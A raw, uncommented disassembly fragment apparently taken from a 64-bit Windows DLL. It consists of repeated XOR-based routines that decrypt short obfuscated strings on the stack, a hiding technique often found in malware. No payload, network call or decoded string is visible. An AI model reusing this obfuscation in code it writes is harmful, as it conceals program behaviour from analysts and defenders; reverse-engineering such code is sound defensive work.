movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4bc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4bc], xmm2
jmp 0x18008ed84
lea r9, [rbp + 0x4b8]
mov r8d, r14d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008ed50
lea rax, [rbp + 0x4b8]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ed90
lea rdx, [rbp + 0x4b8]
jmp 0x180090ce1
movups xmm0, xmmword [0x1801c3328]
movups xmmword [rbp + 0x1d50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008ef24
cmp r12d, 2
jl 0x18008eee5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1d54]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008edf0
jmp 0x18008ef24
lea r9, [rbp + 0x1d50]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008eef0
lea rax, [rbp + 0x1d50]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ef30
lea rdx, [rbp + 0x1d50]
jmp 0x180090ce1
movzx eax, byte [0x1801c3350]
mov r8d, r14d
mov byte [rbp + 0x2808], al
movups xmm0, xmmword [0x1801c3338]
movups xmmword [rbp + 0x27f0], xmm0
movsd xmm0, qword [0x1801c3348]
movsd qword [rbp + 0x2800], xmm0
cmp r12d, 2
jl 0x18008f08b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x27f4]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x18008ef90
cmp r8d, 0x19
jge 0x18008f0d4
movsxd rax, r8d
lea r9, [rbp + 0x27f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x18008f0a0
lea rax, [rbp + 0x27f0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f0e0
lea rdx, [rbp + 0x27f0]
jmp 0x180090ce1
cmp byte [0x1801c3363], r14b
movsd xmm0, qword [0x1801c3358]
mov eax, dword [0x1801c3360]
movsd qword [rbp + 0x1628], xmm0
mov dword [rbp + 0x1630], eax
je 0x18008f264
mov r8d, r14d
cmp r12d, 2
jl 0x18008f218
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3358]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1628], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x162c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x162c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1628]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008f230
lea rax, [rbp + 0x1628]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f270
lea rdx, [rbp + 0x1628]
jmp 0x180090ce1
cmp byte [0x1801c336f], r14b
mov rax, qword [str.qE_W__Ytm]
mov qword [rbp + 0x4c0], rax
je 0x18008f3d4
cmp r12d, 2
jl 0x18008f393
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4c0]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x4c0], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4c4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4c4], xmm2
jmp 0x18008f3d4
lea r9, [rbp + 0x4c0]
mov r8d, r14d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008f3a0
lea rax, [rbp + 0x4c0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f3e0
lea rdx, [rbp + 0x4c0]
jmp 0x180090ce1
mov eax, dword [0x1801c3370]
mov r8, r13
movzx ecx, word [0x1801c3374]
mov dword [rbp + 0x200], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x201], 0x37
xor byte [rbp + 0x202], 0x38
xor byte [rbp + 0x203], 0x39
mov word [rbp + 0x204], cx
xor cl, 0x3a
xor byte [rbp + 0x205], 0x3b
xor al, 0x3c
mov byte [rbp + 0x200], 0x42
mov byte [rbp + 0x206], al
lea rax, [rbp + 0x200]
mov byte [rbp + 0x204], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f454
lea rdx, [rbp + 0x200]
jmp 0x180090ce1
movzx eax, byte [0x1801c3388]
mov r8d, r14d
mov byte [rbp + 0x20b0], al
movups xmm0, xmmword [str.XTVNTJ]
movups xmmword [rbp + 0x20a0], xmm0
cmp r12d, 2
jl 0x18008f5ab
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x20a4]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008f4b0
cmp r8d, 0x11
jge 0x18008f5f4
movsxd rax, r8d
lea r9, [rbp + 0x20a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18008f5c0
lea rax, [rbp + 0x20a0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f600
lea rdx, [rbp + 0x20a0]
jmp 0x180090ce1
cmp byte [0x1801c339b], r14b
movsd xmm0, qword [str.eCQZQB]
mov eax, dword [str.QR_A]
movsd qword [rbp + 0x1638], xmm0
mov dword [rbp + 0x1640], eax
je 0x18008f784
mov r8d, r14d
cmp r12d, 2
jl 0x18008f738
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.eCQZQB]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1638], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x163c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x163c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1638]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008f750
lea rax, [rbp + 0x1638]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f790
lea rdx, [rbp + 0x1638]
jmp 0x180090ce1
movups xmm0, xmmword [str.fEWASVUIG]
movups xmmword [rbp + 0x1d60], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008f924
cmp r12d, 2
jl 0x18008f8e5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1d64]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008f7f0
jmp 0x18008f924
lea r9, [rbp + 0x1d60]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008f8f0
lea rax, [rbp + 0x1d60]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f930
lea rdx, [rbp + 0x1d60]
jmp 0x180090ce1
cmp byte [0x1801c33b9], r14b
movsd xmm0, qword [0x1801c33b0]
movzx eax, word [0x1801c33b8]
movsd qword [rbp + 0x1138], xmm0
mov word [rbp + 0x1140], ax
je 0x18008f9b2
xor byte [rbp + 0x1139], 0x37
xor byte [rbp + 0x113a], 0x38
xor byte [rbp + 0x113b], 0x39
xor byte [rbp + 0x113c], 0x3a
xor byte [rbp + 0x113d], 0x3b
xor byte [rbp + 0x113e], 0x3c
xor byte [rbp + 0x113f], 0x3d
xor byte [rbp + 0x1140], 0x3e
xor byte [rbp + 0x1141], 0x3f
mov byte [rbp + 0x1138], 0x53
lea rax, [rbp + 0x1138]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f9c0
lea rdx, [rbp + 0x1138]
jmp 0x180090ce1
movzx ecx, word [0x1801c33c8]
mov r8, r13
movzx eax, byte [0x1801c33ca]
movsd xmm0, qword [0x1801c33c0]
movsd qword [rbp + 0x1378], xmm0
xor byte [rbp + 0x1379], 0x37
xor byte [rbp + 0x137a], 0x38
xor byte [rbp + 0x137b], 0x39
xor byte [rbp + 0x137c], 0x3a
xor byte [rbp + 0x137d], 0x3b
xor byte [rbp + 0x137e], 0x3c
xor byte [rbp + 0x137f], 0x3d
mov word [rbp + 0x1380], cx
xor cl, 0x3e
xor byte [rbp + 0x1381], 0x3f
xor al, 0x40
mov byte [rbp + 0x1378], 0x50
mov byte [rbp + 0x1382], al
lea rax, [rbp + 0x1378]
mov byte [rbp + 0x1380], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x18008fa54
lea rdx, [rbp + 0x1378]
jmp 0x180090ce1
movzx eax, byte [0x1801c33d8]
mov r8, r13
movsd xmm0, qword [str.tVKXZPQ_]
movsd qword [rbp + 0xe58], xmm0
xor byte [rbp + 0xe59], 0x37
xor byte [rbp + 0xe5a], 0x38
xor byte [rbp + 0xe5b], 0x39
xor byte [rbp + 0xe5c], 0x3a
xor byte [rbp + 0xe5d], 0x3b
xor byte [rbp + 0xe5e], 0x3c
xor byte [rbp + 0xe5f], 0x3d
xor al, 0x3e
mov byte [rbp + 0xe58], 0x42
mov byte [rbp + 0xe60], al
lea rax, [rbp + 0xe58]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008fad0
lea rdx, [rbp + 0xe58]
jmp 0x180090ce1
mov eax, dword [0x1801c33f0]
mov r8d, r14d
mov dword [rbp + 0x2650], eax
movzx eax, word [0x1801c33f4]
mov word [rbp + 0x2654], ax
movzx eax, byte [0x1801c33f6]
mov byte [rbp + 0x2656], al
movups xmm0, xmmword [str.wYLPKNY]
movups xmmword [rbp + 0x2640], xmm0
cmp r12d, 2
jl 0x18008fc3b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2644]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008fb40
cmp r8d, 0x17
jge 0x18008fc84
movsxd rax, r8d
lea r9, [rbp + 0x2640]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x18008fc50
lea rax, [rbp + 0x2640]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008fc90
lea rdx, [rbp + 0x2640]
jmp 0x180090ce1
mov eax, dword [0x1801c3400]
mov r8d, r14d
movsd xmm0, qword [str.tVKXZPQ]
mov dword [rbp + 0x17c8], eax
movzx eax, byte [0x1801c3404]
mov byte [rbp + 0x17cc], al
movsd qword [rbp + 0x17c0], xmm0
cmp r12d, 2
jl 0x18008fdc8
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.tVKXZPQ]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x17c0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17c4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17c4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008fde0
lea rax, [rbp + 0x17c0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008fe20
lea rdx, [rbp + 0x17c0]
jmp 0x180090ce1
cmp byte [0x1801c3415], r14b
mov eax, dword [str.QK4_C]
movsd xmm0, qword [str.tEWR_U]
mov dword [rbp + 0x1b58], eax
movzx eax, word [0x1801c3414]
mov word [rbp + 0x1b5c], ax
movsd qword [rbp + 0x1b50], xmm0
je 0x18008ffb4
mov r8d, r14d
cmp r12d, 2
jl 0x18008ff66
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.tEWR_U]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b50], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b54]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b54], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008ff80
lea rax, [rbp + 0x1b50]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ffc0
lea rdx, [rbp + 0x1b50]
jmp 0x180090ce1
cmp byte [0x1801c341f], r14b
mov rax, qword [str.uEWNXZNp_YJRWUZVK_]
mov qword [rbp + 0x4c8], rax
je 0x180090124
cmp r12d, 2
jl 0x1800900e3
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4c8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x4c8], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4cc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4cc], xmm2
jmp 0x180090124
